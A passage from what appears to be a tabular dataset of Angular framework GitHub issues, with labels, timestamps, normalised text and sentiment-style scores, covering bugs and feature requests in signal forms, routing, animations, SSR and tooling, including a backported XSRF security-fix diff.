```

### Anything else?

If an input is marked as required, the following error is logged.

```
Error: NG0950: Input ""id"" is required but no value is available yet. Find more at https://v21.angular.dev/errors/NG0950
```

Note that this error only applies for dynamic inputs. With the following example, `language = input.required()` does work.

```htm... [TRUNCATED]",area: elements,2026-01-15 16:36:04+00:00,2026-02-10 12:35:12+00:00,1,area: elements,25.8327,angular elements imported by angular have inconsistent lifecycle which angular package s are the source of the bug elements is this a regression no this has been the case for as long as i have used angular at least years description when an angular component imports another angular component s and s are called once the inputs are set when an angular component imports an angular elements element s and s are called before the inputs are set there seems to be no alternative lifecycle hook to know when the inputs have indeed been set please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else if an input is marked as required the following error is logged note that this error only applies for dynamic inputs with the following example does work htm truncated,others,-0.9169
angular/angular,3817906609,Cannot apply queryParameters to current route with Router.navigate,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

In my application, I use the following code to apply a generated session Id to my current route with the following code:
`this.router.navigate([], {
      queryParamsHandling: 'merge',
      queryParams: {host: this.sessionId()}
    });`
This worked fine in Angular 20 and before, however after updating to Angular 21, this code now throws the error:
`NG04002: Cannot match any routes. URL Segment: 'error;errorCode=RestrictedByContext'`

Is this particular use case not supported anymore? In the documentation of read roud state, it still shows a similar example being used:
https://angular.dev/guide/routing/read-route-state

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: router",2026-01-15 14:58:14+00:00,2026-01-16 17:51:35+00:00,4,"needs reproduction,area: router",1.1204,cannot apply queryparameters to current route with router navigate which angular package s are the source of the bug router is this a regression yes description in my application i use the following code to apply a generated session id to my current route with the following code this router navigate queryparamshandling merge queryparams host this sessionid this worked fine in angular and before however after updating to angular this code now throws the error is this particular use case not supported anymore in the documentation of read roud state it still shows a similar example being used please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.8739
angular/angular,3816833720,reset formModel to initial state,"### Which @angular/* package(s) are relevant/related to the feature request?

  ""dependencies"": {
    ""@angular/animations"": ""^21.1.0"",
    ""@angular/common"": ""^21.1.0"",
    ""@angular/compiler"": ""^21.1.0"",
    ""@angular/core"": ""^21.1.0"",
    ""@angular/forms"": ""^21.1.0"",
    ""@angular/platform-browser"": ""^21.1.0"",
    ""@angular/router"": ""^21.1.0"",
    ""@azure/msal-angular"": ""^4.0.23"",
    ""@azure/msal-browser"": ""^4.26.1"",
    ""@azure/msal-common"": ""^15.13.0"",
    ""@vitest/browser-playwright"": ""^4.0.15"",
    ""ngxsmk-datepicker"": ""^2.0.4"",
    ""rxjs"": ""~7.8.2"",
    ""tslib"": ""^2.3.0""
  },

### Description

if i use a form model:

```
export const myFormModel = signal<IMyObject>({
    id: '',
    name: ''
}
```

together with a schema:

```
export const mySchema: Schema<IMyObject> = schema<IMyObject>((p) => {
    required(p.id, { message: 'Enter the id' });
    required(p.name, { message: 'Enter the name' });
    minLength(p.name, 3, { message: 'Minimum of 3 characters' });
}
```

to set up a form:

`  protected readonly myForm = form(myFormModel , mySchema);`

and create a new object, that is fine.

if i then want to edit an object using a form with similar setup, fine. 

but if i then want to create a new object, the formModel hangs on to the old values and populates the new form with those values, when what i would hope for is an empty form. i need to reset the form by manually resetting each individual value. can there be a method i can call that will automagically do this for... [TRUNCATED]",,2026-01-15 09:59:17+00:00,2026-01-15 11:02:20+00:00,7,nan,0.0438,reset formmodel to initial state which angular package s are relevant related to the feature request dependencies angular animations angular common angular compiler angular core angular forms angular platform browser angular router azure msal angular azure msal browser azure msal common vitest browser playwright ngxsmk datepicker rxjs tslib description if i use a form model together with a schema to set up a form and create a new object that is fine if i then want to edit an object using a form with similar setup fine but if i then want to create a new object the formmodel hangs on to the old values and populates the new form with those values when what i would hope for is an empty form i need to reset the form by manually resetting each individual value can there be a method i can call that will automagically do this for truncated,others,0.9549
angular/angular,3816526453,"signal forms 21.1.0 :  '""@angular/forms/signals""' has no exported member 'Field'","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

updated to @angular/forms"": ""^21.1.0"" and ng build gives

[ERROR] TS2305: Module '""@angular/forms/signals""' has no exported member 'Field'. [plugin angular-compiler]



### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
as above. 

[ERROR] TS2305: Module '""@angular/forms/signals""' has no exported member 'Field'. [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

<img width=""699"" height=""647"" alt=""Image"" src=""https://github.com/user-attachments/assets/a840f6d4-891d-4e70-b34b-f1f6018abf16"" />

### Anything else?",,2026-01-15 08:30:51+00:00,2026-01-15 08:51:23+00:00,3,nan,0.0143,signal forms angular forms signals has no exported member field which angular package s are the source of the bug forms is this a regression no description updated to angular forms and ng build gives error ts module angular forms signals has no exported member field plugin angular compiler please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else,others,-0.9423
angular/angular,3815871182,Angular packages are not published in valid Angular Package Format,"### Is this a regression?

Yes

### Description

[Angular Package Format](https://angular.dev/tools/libraries/angular-package-format#fesm) defines FESM as ""Short for Flattened ES Modules and consists of a file format created by flattening all ES Modules accessible from an entry point into a single ES Module.""

Angular currently publishes its packages within an `fesm2022` directory, but the modules are not flattened: the entry points import from other files internal to the package.

This appears to have been broken with Angular 19.

I suspect this is the new-normal, in which case I will find a way to re-bundle them during the linking step so that our build system doesn't choke.
If so, the docs for the APF should be updated, and the files should be moved out of the `fesm2022` directory.","state: has PR,area: docs",2026-01-15 03:39:26+00:00,2026-01-15 19:05:43+00:00,4,"state: has PR,area: docs",0.6433,angular packages are not published in valid angular package format is this a regression yes description angular package format defines fesm as short for flattened es modules and consists of a file format created by flattening all es modules accessible from an entry point into a single es module angular currently publishes its packages within an directory but the modules are not flattened the entry points import from other files internal to the package this appears to have been broken with angular i suspect this is the new normal in which case i will find a way to re bundle them during the linking step so that our build system doesn t choke if so the docs for the apf should be updated and the files should be moved out of the directory,documentation,-0.8847
angular/angular,3814787137,ng-star-inserted generated when using @angular/animations,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Hey, we have big angular v19 app, and when bootstrapping we have many nodes (>1000) having this class assigned `ng-star-inserted` , we do no op animation modules  and some components have animations declared, i dont have exact repro, but is class present means animations not done or disposed correctly ?

here small experiment with v17:
- no `ng-star-inserted`  present - https://stackblitz.com/edit/stackblitz-starters-xkul5rbf?file=src%2Fmain.ts
-   `ng-star-inserted`  added - https://stackblitz.com/edit/stackblitz-starters-faz3rp?file=src%2Fmain.ts

should we see those classes everywhere when using any animation ? what recommendation here?


### Please provide a link to a minimal reproduction of the bug

 https://stackblitz.com/edit/stackblitz-starters-faz3rp?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
n/a
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
angular >= v17
```

### Anything else?

<img width=""800"" height=""457"" alt=""Image"" src=""https://github.com/user-attachments/assets/ffb7ce54-9ae7-4f4e-bbf4-048157785658"" />",,2026-01-14 20:38:02+00:00,2026-01-14 20:47:31+00:00,4,nan,0.0066,ng star inserted generated when using angular animations which angular package s are the source of the bug animations is this a regression no description hey we have big angular v app and when bootstrapping we have many nodes having this class assigned we do no op animation modules and some components have animations declared i dont have exact repro but is class present means animations not done or disposed correctly here small experiment with v no present added should we see those classes everywhere when using any animation what recommendation here please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else,others,-0.8793
angular/angular,3813538392,Testbed.tick() not triggering signal form state,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

In a angular test I am trying to test simple async validator for a signal form, but even after applying TestBed.tick() signal form seems to be in invalid state. Workaround seems to be  await Promise.resolve(); twice.

 It also works if I replace  `TestBed.tick(); `with `tick()` & `fakeAsync`, but we are moving away from `zone`.


```ts
 it('should be valid - not working',  () => {
      TestBed.runInInjectionContext(() => {
        f = form(model, path => {
            asyncValValidator(path);
        });
      });
      model.set('aaaa');
      TestBed.tick();
      expect(f().valid()).toBeTrue(); // fails, needs tick() from fakeAsync
    });

    it('should be valid works workarund', async () => {
        TestBed.runInInjectionContext(() => {
          f = form(model, path => {
              asyncValValidator(path);
          });
        });
        
        model.set('aaaa');
        TestBed.tick();
        await Promise.resolve();
        await Promise.resolve(); // workound for fakeAsync + tick()

        expect(f().valid()).toBeTrue(); // needs fakeAsync to work or Promise.resolve twice
      });
```

Full example on link bellow. I'm sorry for output noise, didn't managed to get tests to output nice on Stackblitz.




### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/~/github.com/kle-pra/ng-signal-form-asyn... [TRUNCATED]",,2026-01-14 14:50:01+00:00,2026-01-14 14:54:31+00:00,3,nan,0.0031,testbed tick not triggering signal form state which angular package s are the source of the bug don t known other is this a regression no description in a angular test i am trying to test simple async validator for a signal form but even after applying testbed tick signal form seems to be in invalid state workaround seems to be await promise resolve twice it also works if i replace with but we are moving away from full example on link bellow i m sorry for output noise didn t managed to get tests to output nice on stackblitz please provide a link to a of the bug truncated,others,0.7506
angular/angular,3813415438,Angular Language Service VSCode extension stuck initializing,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

The Angular Language Service extension gets stuck initializing in our projects. There are no errors in the logs and it keeps showing the message that initialization is ongoing.

I've set `angular.log` to `verbose` to capture a log output. I see no obvious critical errors and no progress messages from a certain point onward. It seems the extension just does nothing - which I assume isn't actually the case. It's more likely something is happening in the background, but there is no insight into this and it's therefore difficult to debug.

This is the log: [nglangvsc.log](https://gist.github.com/sbarfurth/829eab24cbb1659183b586a447beb584)

The last entry in the log is from `14:7:50.922`. As I write this, it is `14:20:00.000` and there have been no new logs but the language service is still not ready.

*Note that the `REDACTED.ts` files are all different files. I've removed as much information as I deemed necessary, but I removed no lines from the log output and did not alter the `tsconfig`.*

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Initializing Angular language features
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.13
Node: 22.18.0
Package Manager: pnpm 10.14.0
OS: linux x64

Using Angular vers... [TRUNCATED]",area: vscode-extension,2026-01-14 14:18:47+00:00,2026-01-23 19:52:39+00:00,5,area: vscode-extension,9.2319,angular language service vscode extension stuck initializing which angular package s are the source of the bug language service is this a regression no description the angular language service extension gets stuck initializing in our projects there are no errors in the logs and it keeps showing the message that initialization is ongoing i ve set to to capture a log output i see no obvious critical errors and no progress messages from a certain point onward it seems the extension just does nothing which i assume isn t actually the case it s more likely something is happening in the background but there is no insight into this and it s therefore difficult to debug this is the log nglangvsc log the last entry in the log is from as i write this it is and there have been no new logs but the language service is still not ready note that the files are all different files i ve removed as much information as i deemed necessary but i removed no lines from the log output and did not alter the please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli node package manager pnpm os linux x using angular vers truncated,others,-0.9897
angular/angular,3811845131,Fix CVE-2025-66035 for Angular 16.2.12,"Hi! 👋 
      
Firstly, thanks for your work on this project! 🙂

Today I used [patch-package](https://github.com/ds300/patch-package) to patch `@angular/common@16.2.12` for the project I'm working on.

Unfortunately there are no official patches for recently found CVE-2025-66035 vulnerability. Could you please apply this to 16 and 18 Angular versions?

Here is the diff that solved my problem (copied for offical fix):

```diff
                   diff --git a/node_modules/@angular/common/esm2022/http/src/xsrf.mjs b/node_modules/@angular/common/esm2022/http/src/xsrf.mjs
index e76a05e..52485b7 100644
--- a/node_modules/@angular/common/esm2022/http/src/xsrf.mjs
+++ b/node_modules/@angular/common/esm2022/http/src/xsrf.mjs
@@ -68,6 +68,9 @@ i0.ɵɵngDeclareClassMetadata({ minVersion: ""12.0.0"", version: ""16.2.12"", ngImpo
                     type: Inject,
                     args: [XSRF_COOKIE_NAME]
                 }] }]; } });
+
+const ABSOLUTE_URL_REGEX = /^(?:https?:)?\/\//i;
+
 export function xsrfInterceptorFn(req, next) {
     const lcUrl = req.url.toLowerCase();
     // Skip both non-mutating requests and absolute URLs.
@@ -75,7 +78,7 @@ export function xsrfInterceptorFn(req, next) {
     // anyway as the cookie set
     // on our origin is not the same as the token expected by another origin.
     if (!inject(XSRF_ENABLED) || req.method === 'GET' || req.method === 'HEAD' ||
-        lcUrl.startsWith('http://') || lcUrl.startsWith('https://')) {
+        ABSOLUTE_URL_REGEX.test... [TRUNCATED]",,2026-01-14 06:54:37+00:00,2026-01-14 06:57:36+00:00,4,nan,0.0021,fix cve for angular hi firstly thanks for your work on this project today i used patch package to patch for the project i m working on unfortunately there are no official patches for recently found cve vulnerability could you please apply this to and angular versions here is the diff that solved my problem copied for offical fix diff diff git a node modules angular common esm http src xsrf mjs b node modules angular common esm http src xsrf mjs index e a e b a node modules angular common esm http src xsrf mjs b node modules angular common esm http src xsrf mjs i ngdeclareclassmetadata minversion version ngimpo type inject args xsrf cookie name const absolute url regex https i export function xsrfinterceptorfn req next const lcurl req url tolowercase skip both non mutating requests and absolute urls export function xsrfinterceptorfn req next anyway as the cookie set on our origin is not the same as the token expected by another origin if inject xsrf enabled req method get req method head lcurl startswith lcurl startswith absolute url regex test truncated,bug,0.4767
angular/angular,3809395444,"ng content fallback elements not showing when its select attribute is ""mentioned"" even when it isnt used","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

im on angular 20 and i am trying to play around with getting content projection to work the way i want. My component exposing a content slot looks like this:

```
import { AfterContentInit, Component, ElementRef, inject, signal } from '@angular/core';

@Component({
  selector: 'projection',
  template: `
    <div>{{ isSlotProvided() }}</div>
    <ng-content select=""[slot]"">
      <div>this is my default</div>
    </ng-content>
    `
})
export class ProjectionComponent implements AfterContentInit {
  private readonly elementRef = inject(ElementRef);

  protected readonly isSlotProvided = signal(false);

  ngAfterContentInit(): void {
    const slotElement = this.elementRef.nativeElement.querySelector('[slot]');
    this.isSlotProvided.set(!!slotElement);
  }
}
```

it has one ng-content element looking for a `slot` attribute to fill the content, otherwise its showing a div with some text. It uses ngAfterContentInit to set a boolean to whether or not it thinks the slot has been filled

my consuming component is using SlotComponent like this:

```
<projection>
  @if (false) {
    <div slot><span>hi there</span></div>
  }
</projection>
```

I would expect the projection component to be showing the default content and for isSlotProvided to be false but weirdly enough isSlotProvided is false _but the default content is not showing either_. This kind of ruins my plans to... [TRUNCATED]",,2026-01-13 15:32:15+00:00,2026-01-13 16:09:02+00:00,2,nan,0.0255,ng content fallback elements not showing when its select attribute is mentioned even when it isnt used which angular package s are the source of the bug core is this a regression no description im on angular and i am trying to play around with getting content projection to work the way i want my component exposing a content slot looks like this it has one ng content element looking for a attribute to fill the content otherwise its showing a div with some text it uses ngaftercontentinit to set a boolean to whether or not it thinks the slot has been filled my consuming component is using slotcomponent like this i would expect the projection component to be showing the default content and for isslotprovided to be false but weirdly enough isslotprovided is false but the default content is not showing either this kind of ruins my plans to truncated,others,-0.7839
angular/angular,3806684887,No se generan los archivos ngsw-worker.js y ngsw.json en Angular 21 con configuración PWA,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Descripción:
Después de actualizar a Angular 21 y seguir la configuración oficial de PWA (serviceWorker: true en angular.json, [ngsw-config.json](vscode-file://vscode-app/Applications/Visual%20Studio%20Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html) válido en la raíz), el build termina correctamente pero no se generan los archivos ngsw-worker.js ni ngsw.json en el directorio de salida. Esto ocurre tanto en un proyecto migrado como en uno nuevo creado con Angular CLI 21 y ng add @angular/pwa.

Pasos para reproducir:

Crear un nuevo proyecto Angular: ng new prueba-pwa --routing --style=scss
Agregar soporte PWA: ng add @angular/pwa
Ejecutar build: ng build --configuration production --service-worker
Revisar dist/prueba-pwa/browser (no aparecen ngsw-worker.js ni ngsw.json).
Configuración relevante:

angular.json: [""serviceWorker"": true](vscode-file://vscode-app/Applications/Visual%20Studio%20Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html) en opciones de build.
ngsw-config.json: válido, en la raíz del proyecto.
Todas las dependencias Angular en 21.0.5.
Resultado esperado:
ngsw-worker.js y ngsw.json deberían generarse en el directorio de salida.

Resultado actual:
Los archivos no aparecen, sin errores en la salida del build.

Notas adicionales:

El problema persiste con y sin S... [TRUNCATED]",,2026-01-13 01:35:13+00:00,2026-01-13 01:42:09+00:00,2,nan,0.0048,no se generan los archivos ngsw worker js y ngsw json en angular con configuraci n pwa which angular package s are the source of the bug don t known other is this a regression yes description descripci n despu s de actualizar a angular y seguir la configuraci n oficial de pwa serviceworker true en angular json ngsw config json vscode file vscode app applications visual studio code app contents resources app out vs code electron browser workbench workbench html v lido en la ra z el build termina correctamente pero no se generan los archivos ngsw worker js ni ngsw json en el directorio de salida esto ocurre tanto en un proyecto migrado como en uno nuevo creado con angular cli y ng add angular pwa pasos para reproducir crear un nuevo proyecto angular ng new prueba pwa routing style scss agregar soporte pwa ng add angular pwa ejecutar build ng build configuration production service worker revisar dist prueba pwa browser no aparecen ngsw worker js ni ngsw json configuraci n relevante angular json serviceworker true vscode file vscode app applications visual studio code app contents resources app out vs code electron browser workbench workbench html en opciones de build ngsw config json v lido en la ra z del proyecto todas las dependencias angular en resultado esperado ngsw worker js y ngsw json deber an generarse en el directorio de salida resultado actual los archivos no aparecen sin errores en la salida del build notas adicionales el problema persiste con y sin s truncated,others,-0.8658
angular/angular,3805426980,Add doc for typescript-configuration,"### Describe the problem that you experienced

Previously We've doc like https://v17.angular.io/guide/typescript-configuration",,2026-01-12 18:14:41+00:00,2026-01-12 18:18:19+00:00,2,nan,0.0025,add doc for typescript configuration describe the problem that you experienced previously we ve doc like,documentation,-0.0516
angular/angular,3804184512,`(animate.leave)` doesn't work on host,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Self-explanatory. Open and close the popup, the ""leave"" animation doesn't work.

I'm trying to avoid adding unnecessary wrapping `@if` in Popup component (as I do [here](https://stackblitz.com/edit/stackblitz-starters-yltijb9m?file=src%2Fpopup%2Fpopup.component.html)) to achieve pretty basic goal of creating a wrapping component with enter/leave animations, which the component's host doesn't know anything about.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-u7sunwoe

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.8
Node: 22.13.1
Package Manager: yarn 1.22.19
OS: win32 x64
    

Angular: 20.3.9
... animations, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... platform-server, router, service-worker

Package                            Version
------------------------------------------
@angular-devkit/architect          0.2003.8
@angular-devkit/core               20.3.8
@angular-devkit/schematics         20.3.8
@angular/build                     20.3.8
@angular/cdk                       20.2.11
@angular/cli                       20.3.8
@angular/fire                      20.0.1
@angular/material                  20.2.11
@angular/material-moment-adapter   20.2.11
@schematics/... [TRUNCATED]","area: core,core: animations",2026-01-12 12:48:27+00:00,2026-02-06 17:42:37+00:00,18,"area: core,core: animations",25.2043,doesn t work on host which angular package s are the source of the bug animations is this a regression no description self explanatory open and close the popup the leave animation doesn t work i m trying to avoid adding unnecessary wrapping in popup component as i do here to achieve pretty basic goal of creating a wrapping component with enter leave animations which the component s host doesn t know anything about please provide a link to a of the bug please provide the environment you discovered this bug in run true angular cli node package manager yarn os win x angular animations common compiler compiler cli core forms language service platform browser platform browser dynamic platform server router service worker package version angular devkit architect angular devkit core angular devkit schematics angular build angular cdk angular cli angular fire angular material angular material moment adapter schematics truncated,others,0.4588
angular/angular,3804043880,`(animate.leave)` event is emitted twice,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Self-explanatory. Open the popup, close it and check console logs.

P. S. There's a weird thing in the reproduction though: for some reason I need to call `cdr.detectChanges()` in `closeChild()` of `HostComponent` in order to properly destroy the component when closing. Uncomment that line to be able to toggle the popup back and forth continuously. I don't need that in my project. Maybe one more issue related to the reworked animations mechanism?

P. P. S. I wrap the popup template in `@if (isOpen) {}` because host binding of `(animate.leave)` doesn't work despite https://github.com/angular/angular/issues/63199 having been resolved. Another issue?

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-yltijb9m

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.8
Node: 22.13.1
Package Manager: yarn 1.22.19
OS: win32 x64
    

Angular: 20.3.9
... animations, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... platform-server, router, service-worker

Package                            Version
------------------------------------------
@angular-devkit/architect          0.2003.8
@angular-devkit/core               20.3.8
@angular-devkit/schematics         20.3.8
@angular/build             ... [TRUNCATED]","area: core,core: animations",2026-01-12 12:07:48+00:00,2026-01-12 16:33:44+00:00,4,"area: core,core: animations",0.1847,event is emitted twice which angular package s are the source of the bug animations is this a regression no description self explanatory open the popup close it and check console logs p s there s a weird thing in the reproduction though for some reason i need to call in of in order to properly destroy the component when closing uncomment that line to be able to toggle the popup back and forth continuously i don t need that in my project maybe one more issue related to the reworked animations mechanism p p s i wrap the popup template in because host binding of doesn t work despite having been resolved another issue please provide a link to a of the bug please provide the environment you discovered this bug in run true angular cli node package manager yarn os win x angular animations common compiler compiler cli core forms language service platform browser platform browser dynamic platform server router service worker package version angular devkit architect angular devkit core angular devkit schematics angular build truncated,others,-0.4798
angular/angular,3803628828,"Migrating from @angular/animations to native CSS: host firing, css not reacting","### Which @angular/* package(s) are the source of the bug?

None

### Is this a regression?

No

### Description

Hi everyone,

We started decommissioning `@angular/animations` in favor of CSS Native animation with JS animation callbacks and we bumped into a `host` binding limitation due to CSS engine.

In this example, we'd like to benefit from `host` property and `computed` signal to fire an animation but it seems CSS won't recognize the change when the class we apply is the same two or more times in a row.

https://stackblitz.com/edit/stackblitz-starters-85ja2rtm

Here's a working example: https://stackblitz.com/edit/stackblitz-starters-7zc3nm2u (using Element API and `classList.add`)

Is that something Angular will fix or eventually leave it to CSS ?

Thanks 

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.13
Node: 24.11.1
Package Manager: pnpm 10.6.5
OS: darwin arm64
    

Angular: 20.3.15
... animations, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... router

Package                              Version
--------------------------------------------
@angular-devkit/architect            0.2003.13
@angular-devkit/build-angular        20.3.13
@angular-devkit/core                 20.3.13
@angular-devkit/schematics           20.3.13
@angular/build                       20.3.13
@angular/cdk                         20.2.14
@angular/cli                    ... [TRUNCATED]",,2026-01-12 10:13:53+00:00,2026-01-12 10:28:27+00:00,3,nan,0.0101,migrating from angular animations to native css host firing css not reacting which angular package s are the source of the bug none is this a regression no description hi everyone we started decommissioning in favor of css native animation with js animation callbacks and we bumped into a binding limitation due to css engine in this example we d like to benefit from property and signal to fire an animation but it seems css won t recognize the change when the class we apply is the same two or more times in a row here s a working example using element api and is that something angular will fix or eventually leave it to css thanks please provide the environment you discovered this bug in run true angular cli node package manager pnpm os darwin arm angular animations common compiler compiler cli core forms language service platform browser platform browser dynamic router package version angular devkit architect angular devkit build angular angular devkit core angular devkit schematics angular build angular cdk angular cli truncated,others,0.9509
angular/angular,3802668568,Support no comment nodes in the DOM,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

Do you have the plan to support no placeholder html in the Element of the DevTool? As follow:
`'<!--container-->'`

When use @if, @else if, @for..., There are manny placeholder generated in the rendered html. But in the React, When structural statements are used， no placeholder is generated. Can this effect be achieved in Angular？

<img width=""1231"" height=""655"" alt=""Image"" src=""https://github.com/user-attachments/assets/a0dddc87-7373-4e57-832f-23b2bd735aad"" />

### Proposed solution

As described above, it maybe better to remove all placeholder.

### Alternatives considered

none",,2026-01-12 03:54:03+00:00,2026-01-12 05:54:47+00:00,2,nan,0.0838,support no comment nodes in the dom which angular package s are relevant related to the feature request core description do you have the plan to support no placeholder html in the element of the devtool as follow when use if else if for there are manny placeholder generated in the rendered html but in the react when structural statements are used no placeholder is generated can this effect be achieved in angular proposed solution as described above it maybe better to remove all placeholder alternatives considered none,help,0.6705
angular/angular,3801044995,signal form schemaPath callback function not working,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

- I use form with validateAsync and passing service 
- I loop over array and creating form for objects with constructor
- No error in browser console


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-fhwfy5tz?file=src%2Fform%2Fform.component.ts

### Please provide the exception or error you saw

```true
no exception
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Angular           : 21.0.8
Node.js           : 24.12.0
Package Manager   : npm 11.7.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.0.5            │ ^21.0.5           │
│ @angular/cli              │ 21.0.5            │ 21.0.5            │
│ @angular/common           │ 21.0.8            │ 21.0.8            │
│ @angular/compiler         │ 21.0.8            │ 21.0.8            │
│ @angular/compiler-cli     │ 21.0.8            │ 21.0.8            │
│ @angular/core             │ 21.0.8            │ 21.0.8            │
│ @angular/forms            │ 21.0.8            │ 21.0.8            │
│ @angular/language-service │ 21.0.8            │ 21.0.8        ... [TRUNCATED]",,2026-01-11 09:59:44+00:00,2026-01-11 11:37:31+00:00,5,nan,0.0679,signal form schemapath callback function not working which angular package s are the source of the bug forms is this a regression no description i use form with validateasync and passing service i loop over array and creating form for objects with constructor no error in browser console please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requested version angular build angular cli angular common angular compiler angular compiler cli angular core angular forms angular language service truncated,others,-0.5719
angular/angular,3807658998,"SSR dev-server HMR does not dispose hydrated layout, causing duplicated components after root template change","### Command

serve

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

### Summary
In an SSR-enabled Angular project, when running `ng serve`, editing the root component template (`src/app/app.html`) and then refreshing the browser results in duplicated layout DOM nodes. Header/footer appear twice.

DevTools shows **two sibling `app-shell` elements under a single `app-root`** (the root is not duplicated; only the layout is duplicated). This does **not** reproduce in a non-SSR project.

### Expected
After saving template changes and refreshing, the hydrated SSR component tree should be disposed properly and the layout should render exactly once.

### Actual
After editing the root template and refreshing:
- previous hydrated layout is not destroyed
- a second `app-shell` is appended
- header/footer are rendered twice
- DOM order becomes inconsistent (router-outlet ends up between the two layouts)

### Notes
I have attached screenshots (DevTools Elements) showing `app-shell` duplicated the repro.

### ng serve
<img width=""1904"" height=""804"" alt=""Image"" src=""https://github.com/user-attachments/assets/a5c471cb-8855-422d-920a-426788252ce9"" />

### After change and save
<img width=""1883"" height=""818"" alt=""Image"" src=""https://github.com/user-attachments/assets/804cfa1f-e264-4e0d-b778-e0dc3eb548bd"" />

### After refresh page
<img width=""1919"" height=""8... [TRUNCATED]","area: core,core: hot module replacement (HMR)",2026-01-09 22:25:06+00:00,2026-03-16 16:04:09+00:00,1,"area: core,core: hot module replacement (HMR)",65.7355,ssr dev server hmr does not dispose hydrated layout causing duplicated components after root template change command serve is this a regression yes this behavior used to work in the previous version the previous version in which this bug was not present was no response description summary in an ssr enabled angular project when running editing the root component template and then refreshing the browser results in duplicated layout dom nodes header footer appear twice devtools shows two sibling elements under a single the root is not duplicated only the layout is duplicated this does not reproduce in a non ssr project expected after saving template changes and refreshing the hydrated ssr component tree should be disposed properly and the layout should render exactly once actual after editing the root template and refreshing previous hydrated layout is not destroyed a second is appended header footer are rendered twice dom order becomes inconsistent router outlet ends up between the two layouts notes i have attached devtools elements showing duplicated the repro ng serve after change and save after refresh page img width height truncated,others,0.711
angular/angular,3798254254,Support focusing first invalid field in DOM/template order,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

When submitting an invalid form, focusing the first invalid field is an important accessibility practice ([WCAG 3.3.1 Error Identification](https://www.w3.org/WAI/WCAG22/Understanding/error-identification.html)). However, the current API only allows focusing based on data model order, not template order.

Currently, `errorSummary().at(0)` returns the first invalid field based on the order of properties in the form data model, not the order they appear in the template. This leads to unexpected focus behavior and poor user experience, especially for screen reader users who expect focus to move to the first error in reading order.

**Reproduction:**

```ts
import { Component, signal } from '@angular/core';
import { form, FormField, required, schema } from '@angular/forms/signals';

type BookFormData = {
  isbn: string;
  title: string;
};

const bookFormSchema = schema<BookFormData>((path) => {
  required(path.isbn, { message: 'ISBN is required.' });
  required(path.title, { message: 'Title is required.' });
});

@Component({
  selector: 'app-book-form',
  imports: [FormField],
  template: `
    <form (submit)=""submitForm()"" novalidate>
      <label for=""title"">Title</label>
      <input id=""title"" [formField]=""bookForm.title"" />
      
      <label for=""isbn"">ISBN</label>
      <input id=""isbn"" [formField]=""bookForm.isbn"" />
      
      <button type=""submit"">Save</butt... [TRUNCATED]","feature,area: forms,forms: signals",2026-01-09 20:23:04+00:00,2026-02-11 05:14:21+00:00,13,"feature,area: forms,forms: signals",32.3689,support focusing first invalid field in dom template order which angular package s are relevant related to the feature request no response description when submitting an invalid form focusing the first invalid field is an important accessibility practice wcag error identification however the current api only allows focusing based on data model order not template order currently returns the first invalid field based on the order of properties in the form data model not the order they appear in the template this leads to unexpected focus behavior and poor user experience especially for screen reader users who expect focus to move to the first error in reading order reproduction ts import component signal from angular core import form formfield required schema from angular forms signals type bookformdata isbn string title string const bookformschema schema path required path isbn message isbn is required required path title message title is required component selector app book form imports formfield template title isbn save butt truncated,feature,-0.5574
angular/angular,3797012644,Add ControlContainer documentation,"### Describe the problem that you experienced

